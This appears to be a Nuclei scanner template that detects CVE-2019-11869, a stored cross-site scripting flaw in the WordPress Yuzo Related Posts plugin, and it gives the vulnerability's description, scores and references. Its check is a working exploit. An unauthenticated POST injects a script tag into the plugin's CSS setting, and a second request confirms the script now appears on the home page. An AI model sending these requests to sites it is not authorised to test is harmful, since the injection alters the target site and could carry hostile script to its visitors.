60 lines
2.0 KiB
YAML
60 lines
2.0 KiB
YAML
id: CVE-2019-11869
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info:
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name: WordPress Yuzo <5.12.94 - Cross-Site Scripting
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author: ganofins
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severity: medium
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description: |
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WordPress Yuzo Related Posts plugin before 5.12.94 is vulnerable to cross-site scripting
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because it mistakenly expects that is_admin() verifies that the
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request comes from an admin user (it actually only verifies that the
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request is for an admin page). An unauthenticated attacker can consequently inject
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a payload into the plugin settings, such as the
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yuzo_related_post_css_and_style setting.
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remediation: |
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Update to the latest version of the Yuzo plugin (5.12.94 or higher) to mitigate this vulnerability.
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reference:
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- https://www.wordfence.com/blog/2019/04/yuzo-related-posts-zero-day-vulnerability-exploited-in-the-wild
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- https://wpscan.com/vulnerability/9254
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- https://www.wordfence.com/blog/2019/04/yuzo-related-posts-zero-day-vulnerability-exploited-in-the-wild/
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- https://wpvulndb.com/vulnerabilities/9254
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- https://nvd.nist.gov/vuln/detail/CVE-2019-11869
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2019-11869
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cwe-id: CWE-79
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epss-score: 0.00321
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epss-percentile: 0.66852
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cpe: cpe:2.3:a:yuzopro:yuzo:5.12.94:*:*:*:*:wordpress:*:*
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metadata:
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max-request: 2
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vendor: yuzopro
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product: yuzo
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framework: wordpress
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tags: wpscan,cve,cve2019,wordpress,wp-plugin,xss
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http:
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- raw:
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- |
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POST /wp-admin/options-general.php?page=yuzo-related-post HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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yuzo_related_post_css_and_style=</style><script>alert(0);</script>
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- |
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GET / HTTP/1.1
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Host: {{Hostname}}
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req-condition: true
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matchers-condition: and
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matchers:
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- type: dsl
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dsl:
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- 'contains(body_2, "<script>alert(0);</script>")'
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- type: dsl
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dsl:
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- "contains(tolower(header_2), 'text/html')"
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